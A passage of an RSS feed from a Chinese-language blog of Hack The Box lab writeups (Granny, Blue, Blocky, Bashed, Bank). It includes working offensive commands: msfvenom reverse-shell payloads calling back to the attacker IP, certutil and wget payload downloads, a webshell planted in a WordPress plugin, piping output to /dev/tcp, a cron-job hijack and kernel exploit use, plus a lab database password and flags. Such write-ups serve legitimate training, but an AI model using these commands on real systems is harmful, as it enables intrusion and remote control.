&lt;li&gt;執行 Exploit&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e094c-i3boH3K.png"&gt;開 nc 收 shell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/85665-yPKDwiV.png"&gt;跑 systeminfo- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/75b27-tbw8skf.png"&gt;發現 Windows 2003 可以跑 Churrasco- &lt;a href="https://github.com/Re4son/Churrasco"&gt;https://github.com/Re4son/Churrasco&lt;/a&gt;用 &lt;code&gt;impacket-smbserver meow .&lt;/code&gt; 開- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2200f-MU2TXX1.png"&gt;&lt;/li&gt;
&lt;li&gt;執行 Churrasco提權完畢- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/51ccf-UrZVB2K.png"&gt;取得 User Flag- &lt;code&gt;bdff5ec67c3cff017f2bedc146a5d869&lt;/code&gt;取得 Root Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/371e7-gQePLVE.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;9359e905a2c35f861f6a57cecf28bb7b&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Granny (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/09/15/granny-hack-the-box-writeup/</link><pubDate>Wed, 15 Sep 2021 13:54:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/15/granny-hack-the-box-writeup/</guid><description>&lt;ul&gt;
&lt;li&gt;URL : &lt;a href="https://app.hackthebox.eu/machines/14"&gt;https://app.hackthebox.eu/machines/14&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;IP : 10.129.2.63&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;觀察首頁&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/46f13-sbQcIWf.png"&gt;&lt;/li&gt;
&lt;li&gt;IIS 6nmap 掃 port- &lt;code&gt;nmap -A -p80 10.129.2.63&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/db6f1-yNZQlXN.png"&gt;掃目錄- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6d3ac-CjmfC20.png"&gt;發現一些奇怪的 dll- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/19e20-yZGtChe.png"&gt;&lt;/li&gt;
&lt;li&gt;http://10.129.2.63/_vti_inf.html&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FPAuthorScriptUrl=&amp;quot;_vti_bin/_vti_aut/author.dll&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FPAdminScriptUrl=&amp;quot;_vti_bin/_vti_adm/admin.dll&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TPScriptUrl=&amp;quot;_vti_bin/owssvr.dll&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="exploit"&gt;Exploit&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269!%5B%5D(/uploads/2022/02/d60bd-EOeoMgt.png)nc"&gt;https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269![](/uploads/2022/02/d60bd-EOeoMgt.png)nc&lt;/a&gt; 收 shell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7df3f-7HqJyNX.png"&gt;確認使用者- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c574d-X8v5anL.png"&gt;systeminfo- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/203c0-9WVQAXz.png"&gt;送 &lt;code&gt;windows-exploit-suggester.py&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/375b3-xLOYh1g.png"&gt;測 CVE-2015-1701- &lt;a href="https://github.com/hfiref0x/CVE-2015-1701"&gt;https://github.com/hfiref0x/CVE-2015-1701&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;certutil -urlcache -f http://10.10.16.35/Taihou32.exe Taihou32.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d9b6e-60L0w3I.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ede09-KXnF3bF.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;impacket-smbserver meow .&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;copy \\10.10.16.35\meow\Taihou32.exe Taihou32.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;shell 卡住不能用 QQQ&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;準備 shell&lt;code&gt;msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7878 -f dll &amp;gt; s.dll&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rundll32 s.dll``churrasco&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e496c-3TwWxzC.png"&gt;&lt;/li&gt;
&lt;li&gt;churrasco.exe -d &amp;ldquo;shellx86.exe&amp;quot;nc 收 shell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9cb18-xFp3xBs.png"&gt;User flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cc1c9-fdfbgPb.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;700c5dc163014e22b3e408f8703f67d1&lt;/code&gt;Root Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9e134-5QkzuUu.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;aa4beed1c0584445ab463a6747bd06e9&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="學到ㄌ"&gt;學到ㄌ&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;smb 傳檔案&lt;/li&gt;
&lt;li&gt;盡量 webshell QQ&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Blue (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/09/15/blue-hack-the-box-writeup/</link><pubDate>Wed, 15 Sep 2021 13:41:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/15/blue-hack-the-box-writeup/</guid><description>&lt;ul&gt;
&lt;li&gt;URL : &lt;a href="https://app.hackthebox.eu/machines/51"&gt;https://app.hackthebox.eu/machines/51&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;IP : 10.129.209.90&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Rustscan&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c5805-67XVo54.png"&gt;nmap- &lt;code&gt;nmap -A -p 135,139,445,49152,49153,49154,49155,49156,49157 10.129.209.90&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ac899-KncNQzE.png"&gt;系統版本- Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)smb- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5d6a0-n93prMN.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c0d5e-B8ABEM7.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f2a4e-mZDgLa8.png"&gt;nmapAutomator- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ef2a6-UlMW8lp.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="exploit"&gt;Exploit&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/helviojunior/MS17-010"&gt;https://github.com/helviojunior/MS17-010&lt;/a&gt;修改 &lt;code&gt;send_and_execute.py&lt;/code&gt; 裡面的 username等於 &lt;code&gt;guest&lt;/code&gt;MSF 準備 shell- &lt;code&gt;msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7877 -f exe -o shellx64.exe&lt;/code&gt;其實這邊用 x86 也可以執行 Exploit- &lt;code&gt;python send_and_execute.py 10.129.216.62 ../shellx64.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a4c94-bvmzbcP.png"&gt;nc 收 shell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/55341-QTfgtnr.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="msf-exploit"&gt;MSF Exploit&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;use windows/smb/ms17_010_eternalblue&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;options&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/24d97-yLfHcrh.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;set RHOSTS 10.129.216.62&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;set LHOST 10.10.16.35&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;run&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4adc0-MJjRbSk.png"&gt;Get Root Key- &lt;code&gt;ff548eb71e920ff6c08843ce9df4e717&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/91e59-xJVAJs4.png"&gt;Get User Key- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6ef87-VEFkOCN.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;4c546aea7dbee75cbd71de245c8deea9&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Blocky (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/09/15/blocky-hack-the-box-writeup/</link><pubDate>Wed, 15 Sep 2021 13:40:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/15/blocky-hack-the-box-writeup/</guid><description>&lt;ul&gt;
&lt;li&gt;URL : &lt;a href="https://app.hackthebox.eu/machines/48"&gt;https://app.hackthebox.eu/machines/48&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;IP : 10.129.1.53&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Rustscan&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c1560-P89zhUR.png"&gt;Nmap- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3da4d-bDwHzxn.png"&gt;觀察首頁- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c5cdb-WqNoQVr.jpg"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/92cf0-HvhvLma.png"&gt;&lt;/li&gt;
&lt;li&gt;看起來是 Wordpress掃目錄- &lt;a href="https://www.exploit-db.com/exploits/46676"&gt;https://www.exploit-db.com/exploits/46676&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;phpmyadmin&lt;/li&gt;
&lt;li&gt;pluginsPHPmyadmin- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f3a45-awdZmG7.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d5f61-btMisFu.png"&gt;&lt;/li&gt;
&lt;li&gt;Version &lt;code&gt;4.5.4.1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2c3bb-4t4v8Sa.png"&gt;&lt;/li&gt;
&lt;li&gt;有 Exploithttps://www.exploit-db.com/exploits/40185要帳密繼續觀察- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/862f9-SrBdmAD.png"&gt;&lt;/li&gt;
&lt;li&gt;他有一個 Wiki&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/804fe-FPx76mQ.png"&gt;&lt;/li&gt;
&lt;li&gt;其實剛剛 dirsearch 就有看到&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="wordpress"&gt;Wordpress&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;觀察 Wordpress 使用者&lt;code&gt;http://10.129.1.53/index.php/?author=1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;notch&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6f709-ZBjHwgb.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/48759-HHVGKWD.png"&gt;嘗試登入 &lt;code&gt;/wp-admin&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a2d43-boYSIEU.png"&gt;觀察目錄 &lt;code&gt;/plugins&lt;/code&gt;- &lt;code&gt;plugins&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/39abb-PI5v79z.png"&gt;&lt;/li&gt;
&lt;li&gt;裡面有兩個檔案&lt;/li&gt;
&lt;li&gt;感覺 &lt;code&gt;BlockyCore.jar&lt;/code&gt; 是它們自己寫的&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="reverse"&gt;Reverse&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;用 r2 觀察&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4c433-JnQg4vm.png"&gt;算ㄌ還是不要裝逼，乖乖用 jd-gui 笑死- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/48237-YnpMm9M.png"&gt;找到 db 帳密- &lt;code&gt;root&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;8YsqfCTnvxAUeduzjNSXe22&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="php-my-admin"&gt;PHP My admin&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;用帳密登入後找到 Wordpress 使用者頁面&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/30dbe-dxptAUw.png"&gt;&lt;/li&gt;
&lt;li&gt;備份原本使用者的 hash 以備不時之需&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$P$BiVoTj899ItS1EZnMhqeqVbrZI4Oq0/&lt;/code&gt;把 hash 修改成 &lt;code&gt;12345&lt;/code&gt; 的 md5- &lt;code&gt;827ccb0eea8a706c4c34a16891f84e7b&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/71f6a-uQGlHLJ.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="登入-wordpress"&gt;登入 Wordpress&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;用帳號 &lt;code&gt;notch&lt;/code&gt; 密碼 &lt;code&gt;12345&lt;/code&gt; 登入&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/656c9-z9HTx8b.png"&gt;在 plugin 中增加 php web shell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9ec64-40gCNnS.png"&gt;確認 webshell 可用- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3443f-JSS7xV0.png"&gt;下載 reverse shell- http://10.129.1.53/wp-content/plugins/akismet/akismet.php?A=wget%2010.10.16.35:8000/s_HTB執行 webshell- http://10.129.1.53/wp-content/plugins/akismet/akismet.php?A=bash%20s_HTB&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="reverse-shell"&gt;Reverse shell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2f965-7JQhg8u.png"&gt;&lt;/li&gt;
&lt;li&gt;spawn shell&lt;code&gt;python3 -c 'import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)'&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;跑 Linpeas&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/74d52-RNLfKEz.png"&gt;&lt;/li&gt;
&lt;li&gt;發現可以 Kernel Exploit&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/rlarabee/exploits/tree/master/cve-2017-16995"&gt;https://github.com/rlarabee/exploits/tree/master/cve-2017-16995&lt;/a&gt;編譯並丟過去- &lt;a href="https://raw.githubusercontent.com/rlarabee/exploits/master/cve-2017-16995/cve-2017-16995.c"&gt;https://raw.githubusercontent.com/rlarabee/exploits/master/cve-2017-16995/cve-2017-16995.c&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/de1ff-7lmSnLK.png"&gt;取得 Flag- User&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/53eb7-JOMWCbN.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;59fee0977fb60b8a0bc6e41e751f3cd5&lt;/code&gt;Root- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8c899-y15GubM.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0a9694a5b4d272c694679f7860f1cd5f&lt;/code&gt;看了一下正規解- 貌似可以直接用 SQL 密碼 SSH 登入&lt;/li&gt;
&lt;li&gt;然後 sudo su 就結束ㄌ&lt;/li&gt;
&lt;li&gt;ㄏㄏ&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Bashed (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/09/15/bashed-hack-the-box-writeup/</link><pubDate>Wed, 15 Sep 2021 13:39:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/15/bashed-hack-the-box-writeup/</guid><description>&lt;ul&gt;
&lt;li&gt;URL : &lt;a href="https://app.hackthebox.eu/machines/118"&gt;https://app.hackthebox.eu/machines/118&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;IP : 10.129.209.72&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Rustscan&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8ff00-Gzn6aaI.png"&gt;Web- dirsearch 發現 &lt;code&gt;/dev/&lt;/code&gt; 裡面有 phpbash&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3c550-CEV1y93.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="php-bash"&gt;PHP Bash&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;可以直接用 &lt;code&gt;cat /etc/passwd&lt;/code&gt; 指令&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e4ef5-Mn8RtoD.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="reverse-shell"&gt;Reverse shell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;直接戳習慣的 reverse shell 會自動離開&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/76cd3-UbQwxps.png"&gt;改戳 msf 的 reverse shell- &lt;code&gt;msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7877 -f elf &amp;gt; shell&lt;/code&gt;就順利接上了- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/212dd-6EMqQL4.png"&gt;spawn shell- &lt;code&gt;python -c 'import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)'&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;起手式 sudo -l&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2f929-RGFg6i1.png"&gt;&lt;/li&gt;
&lt;li&gt;可以切換使用者到 &lt;code&gt;scriptmanager&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo -u scriptmanager bash&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/42294-E54urqk.png"&gt;跑 Linpeas 傳回來- cat s_peas.txt &amp;gt; /dev/tcp/10.10.16.35/1234使用 CVE-2017-16995 Kernel Exploit- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1d3d4-uLsG5BC.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wget http://10.10.16.35/CVE-2017-16995/exploit&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c1792-YFQAis2.png"&gt;成功提權取得 Root Flag- &lt;code&gt;cc4f0afe3a1026d402ba10329674a8e2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1ca07-k6UvzjE.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b84f1-JFxqKcf.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權-2"&gt;提權 2&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;觀察 &lt;code&gt;/scripts&lt;/code&gt;裡面看起來 是 cronjob 跑 Python&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7cb9b-45ZNDR8.png"&gt;用 msf 再生一個 reverse shell (跟目前不同 port)- &lt;code&gt;msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7878 -f elf &amp;gt; shell1&lt;/code&gt;傳到靶機加權限- &lt;code&gt;wget 10.10.16.35/shell1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;chmod 777 shell1&lt;/code&gt;寫入 cron job 的 py- &lt;code&gt;echo 'import os' &amp;gt;&amp;gt; test.py&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;echo 'os.system(&amp;quot;/scripts/shell1&amp;quot;)' &amp;gt;&amp;gt; test.py&lt;/code&gt;收到 Reverse shell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e4bdf-0P5Pivo.png"&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Bank (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/09/15/bank-hack-the-box-writeup/</link><pubDate>Wed, 15 Sep 2021 13:38:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/15/bank-hack-the-box-writeup/</guid><description>&lt;ul&gt;
&lt;li&gt;URL : &lt;a href="https://app.hackthebox.eu/machines/26"&gt;https://app.hackthebox.eu/machines/26&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;IP : 10.129.29.200&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Rustscan&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7b16e-ui0FgmM.png"&gt;Nmap- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4c500-Y6kACGg.png"&gt;通靈加 Host- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/92656-iC631Jn.png"&gt;加 &lt;code&gt;/etc/hosts&lt;/code&gt;加 Host 載下來看- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/bd5e4-DhyF6x6.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/711cf-aOo4atT.png"&gt;&lt;/li&gt;
&lt;li&gt;發現 302 轉走，但其實是有資料ㄉ掃目錄- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ddc37-WqJPTBb.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://bank.htb/assets/"&gt;http://bank.htb/assets/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7150f-c9TaYlY.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/28033-fEJpUyV.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="嘗試傳-webshell"&gt;嘗試傳 Webshell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;support.php&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8d36e-r1tRnO1.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5ddf7-iLxm8GZ.png"&gt;&lt;/li&gt;
&lt;li&gt;看起來可以傳檔案&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ba6f4-lcHhl04.png"&gt;但只能傳圖片嘗試用各種方法繞- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9837e-GxeRaCs.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/337ac-UgrEjAo.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/84b59-olvLN1G.png"&gt;&lt;/li&gt;
&lt;li&gt;但基本上都失敗&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="取得密碼"&gt;取得密碼&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;通靈掃到 &lt;code&gt;/balance-transfer&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9fa64-K3uPCGE.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/dac21-ost4Ysx.png"&gt;發現裡面的資訊都有過加密- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/77bc7-ci7houA.png"&gt;複製出來觀察 size&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;a &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; a&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;replace(&lt;span style="color:#f1fa8c"&gt;&amp;#34;[ ] &amp;#34;&lt;/span&gt;,&lt;span style="color:#f1fa8c"&gt;&amp;#34;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;a &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; a&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;split(&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\n&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;l &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;for&lt;/span&gt; i &lt;span style="color:#ff79c6"&gt;in&lt;/span&gt; a:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; i &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; i&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;split(&lt;span style="color:#f1fa8c"&gt;&amp;#34; &amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; l&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;append(&lt;span style="color:#8be9fd;font-style:italic"&gt;int&lt;/span&gt;(i[&lt;span style="color:#bd93f9"&gt;1&lt;/span&gt;]))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;l&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;sort()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;print&lt;/span&gt;(l)
